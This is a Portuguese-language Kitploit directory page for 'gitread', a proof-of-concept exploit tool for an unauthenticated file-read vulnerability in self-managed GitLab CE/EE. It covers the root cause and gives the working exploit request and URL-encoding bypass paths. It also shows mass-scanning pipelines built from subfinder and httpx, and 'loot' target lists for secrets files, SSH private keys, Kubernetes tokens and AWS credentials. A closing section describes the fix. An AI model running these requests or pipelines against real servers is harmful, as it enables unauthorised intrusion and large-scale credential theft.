Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
gitread — CVE-2026-85706 · Leitura de arquivos não autenticada no GitLab CE/EE · PoC de pesquisa com modo oracle, enumeração de fd e coleta em camadas | Kitploit
Ferramentas/GitHubGitHub/plur1bu5/gitread
ReconhecimentoAnálise de VulnerabilidadesExploraçãoScripting e AutomaçãoExploração de Aplicações WebExfiltração de DadosColeta de InformaçõesSegurança WebTestes de PenetraçãoRed Teaming
GitHubplur1bu5/gitread
1há 17h 57mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

gitread

CVE-2026-85706 · Leitura de arquivos não autenticada no GitLab CE/EE · PoC de pesquisa com modo oracle, enumeração de fd e coleta em camadas

Ver Repositório
Compartilhar

gitread

PoC para CVE-2026-85706, uma leitura arbitrária de arquivos não autenticada que afeta instâncias autogerenciadas do GitLab CE/EE.

CVECVE-2026-85706
CVSS10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
Afetado18.7 a 19.1.7, 19.2.0 a 19.2.5, 19.3.0 a 19.3.1
Corrigido19.1.8 / 19.2.6 / 19.3.2 (lançado em 2026-09-10)
ComponenteRepository Commits API / Files API (upload de corpo do Workhorse)
Relators3ntago via GitLab HackerOne

Como funciona

Três endpoints da API de repositório ficam atrás do requestBodyUploader do Workhorse:

root@kitploit:~
POST /api/v4/projects/:id/repository/commits
POST /api/v4/projects/:id/repository/files/:file_path
PUT  /api/v4/projects/:id/repository/files/:file_path

O handler do Rails chama File.open(params['file.path']) antes de authenticate!. Quatro condições tornam isso explorável:

1. A autenticação ocorre depois da leitura do arquivo. require_gitlab_workhorse! apenas verifica o cabeçalho JWT Gitlab-Workhorse-Api-Request. O Workhorse carimba esse cabeçalho em toda requisição que ele faz proxy, incluindo passthroughs simples. O authenticate! real fica dentro de authorize_push_to_branch!, que é executado depois que file_params_from_body_upload já leu o arquivo do disco.

2. file.path vem diretamente da requisição. file_params_from_body_upload lê params['file.path'] como um caminho absoluto sem nenhuma validação. No fluxo pretendido, o Workhorse grava o upload em um arquivo temporário e injeta esse parâmetro por conta própria. Um atacante simplesmente o envia diretamente como parâmetro de query string apontando para qualquer lugar do sistema de arquivos.

3. A correspondência de rotas do Workhorse nunca decodifica percent-encoding. O Workhorse compara rotas de upload com EscapedPath(), os bytes brutos da URL conforme recebidos. O Puma decodifica sequências %XX antes de rotear para o Grape. Assim, codificar um caractere em um segmento estático faz o Workhorse pular sua regra de reescrita enquanto o Rails ainda roteia para o handler vulnerável:

root@kitploit:~
POST /api/v4/projects/1/repository/commits/      (barra final)
POST /api/v4/projects/1/repository/%63ommits     (c -> %63)
POST /api/v4/projects/1/%72epository/commits     (r -> %72)
POST /api/v4/projects/1/repository/commits.json  (sufixo de formato do Grape)

4. O Rack ecoa o conteúdo do arquivo de volta na resposta de erro. Com Content-Type: application/x-www-form-urlencoded, o conteúdo do arquivo é entregue a Rack::Utils.parse_nested_query. Qualquer % isolado não seguido de dois dígitos hexadecimais gera InvalidParameterError: invalid %-encoding (<content>). Tudo até o primeiro & no arquivo é ecoado no corpo da resposta 400.

Arquivos sem % isolado ainda são lidos antes da autenticação. A resposta 401 do ramo urlencoded e um 500 do ramo multipart confirmam que o arquivo existe e é legível pelo usuário git, tornando-os úteis como oráculo de existência.

Requisição de exploit:

root@kitploit:~
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded

Recursos

  • --file lê qualquer arquivo único; recorre automaticamente ao oráculo se não houver gatilho de eco
  • --loot executa 36 alvos em 7 camadas, ordenados por probabilidade confirmada de gatilho de eco
  • --oracle executa uma sondagem de ramo duplo (urlencoded + multipart) contra arquivos sem eco e informa se cada um é legível, ausente ou ilegível
  • --proc enumera /proc/self/fd/0-31 para encontrar descritores de arquivo abertos, depois lê alvos padrão de reconhecimento em /proc
  • --shell entra em um shell interativo de leitura de arquivos com os comandos cat, loot, oracle, project e curl
  • --pipe lê alvos da entrada padrão e trata saída do subfinder, texto do httpx, JSON do httpx, JSON do nuclei e linhas brutas de hosts
  • --list recebe um arquivo de alvos, um por linha
  • --threads para varredura em massa concorrente
  • --proxy roteia tudo através do Burp ou mitmproxy
  • --raw grava bytes brutos na saída padrão sem decoração, útil para redirecionar para um arquivo
  • --full executa loot, oracle e proc em uma única passada
  • Saída de relatório em JSON e JSONL via -o
  • Fingerprint de versão do GitLab com verificação de faixa afetada
  • Suporte a cores no terminal do Windows

Instalação

root@kitploit:~
pip install requests
python3 gitread.py -h

Requer Python 3.10 ou mais recente. Nenhuma outra dependência.

Uso

Alvo único

root@kitploit:~
python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
python3 gitread.py -t https://gitlab.corp.com --loot
python3 gitread.py -t https://gitlab.corp.com --oracle
python3 gitread.py -t https://gitlab.corp.com --full -o report.json
python3 gitread.py -t https://gitlab.corp.com --loot --shell
python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080

Pipeline

root@kitploit:~
subfinder -d corp.com -silent \
  | httpx -silent -sc -td \
  | python3 gitread.py --pipe --loot -o hits.jsonl

subfinder -d corp.com -silent \
  | httpx -silent -json \
  | python3 gitread.py --pipe --loot -q -o hits.jsonl

python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl

cat hosts.txt | python3 gitread.py --loot

A entrada padrão é detectada automaticamente quando não é um TTY, então --pipe é opcional na maioria dos casos.

Shell

root@kitploit:~
gitread@target> cat /etc/gitlab/gitlab-secrets.json
gitread@target> loot
gitread@target> oracle
gitread@target> project 35
gitread@target> curl /etc/passwd
gitread@target> exit

Vereditos de resposta

VereditoSignificado
leakConteúdo do arquivo ecoado no corpo da resposta 400, leitura confirmada
leak-fragEco parcial via erro de tipo de parâmetro
read-noechoO arquivo foi lido antes da autenticação, mas não tem % isolado, então nada foi ecoado
READABLEO ramo multipart retornou 500, o arquivo existe e é legível pelo usuário git
missingO servidor informou que o arquivo local não está presente
rewriteO Workhorse reescreveu o corpo, esta forma de bypass está morta
norouteRails 404, a instância está corrigida ou o caminho está errado
server-error500, o arquivo existe mas causou um erro de parsing

Camadas de loot

CamadaArquivosEco
1gitlab.rb, gitlab.yml, redis.confVazamento direto de conteúdo
2gitlab-secrets.json, secrets.yml, database.ymlApenas oráculo, hex puro
3.gitlab_workhorse_secretApenas oráculo
4Chaves privadas SSH e authorized_keysApenas oráculo
5gitlab-shell.yml, gitaly.toml, configuração do PostgreSQLApenas oráculo
6Token de service account do Kubernetes, credenciais da AWSApenas oráculo
7Hostname, hosts, passwd, os-release, environApenas oráculo

Flags

FlagDescrição
-t, -u, --targetURL base única
--pipeLê alvos da entrada padrão
--list FILEArquivo de alvos
--file PATHCaminho absoluto único a ser lido
--lootExecução completa de loot com 36 alvos
--oracleSondagem de ramo duplo de arquivos sem eco
--procEnumeração de fd em /proc e reconhecimento
--shellShell interativo após a varredura
--fullloot + oracle + proc
--project-id IDForça um id de projeto em vez de autodetectar
--forceVarre mesmo se o alvo não tiver fingerprint de GitLab
--rawGrava bytes brutos na saída padrão, sem decoração
--proxy URLProxy HTTP/S
--threads NThreads de trabalho para o modo pipeline (padrão 8)
--timeout NTimeout por requisição em segundos (padrão 15)
-o FILESalva o relatório (.json para array formatado, qualquer outra coisa para JSONL)
-q, --quietImprime apenas os acertos
-v, --verboseMostra cada tentativa de sondagem
--no-bannerSuprime o banner

Códigos de saída: 0 vazamento confirmado, 1 apenas oráculo ou nenhum vazamento no pipeline, 2 nada encontrado.

Correção

Corrigido no commit master 0d9ce3e7, retroportado como 1fe30154 / b43c8b26 / 0ff7b6b2.

Três coisas foram alteradas ao mesmo tempo:

  1. authenticate! foi movido para antes de file_params_from_body_upload nos três endpoints, de modo que o arquivo nunca é lido para uma requisição não autenticada
  2. file.path agora só é aceito a partir de um objeto UploadedFile tipado, produzido pelo middleware multipart, que exige um JWT válido assinado pelo Workhorse, e não de um parâmetro de query string bruto
  3. InvalidParameterError não interpola mais e.message no corpo da resposta, de modo que o canal de eco é fechado mesmo que alguém encontre uma forma de contornar as duas primeiras correções

O bug foi introduzido no GitLab 18.7 (dezembro de 2025), quando a variante de upload de corpo da API de commits foi adicionada.


feito com amor por @plur1bu5 -- se você achar útil, uma estrela é apreciada

Baixar ferramenta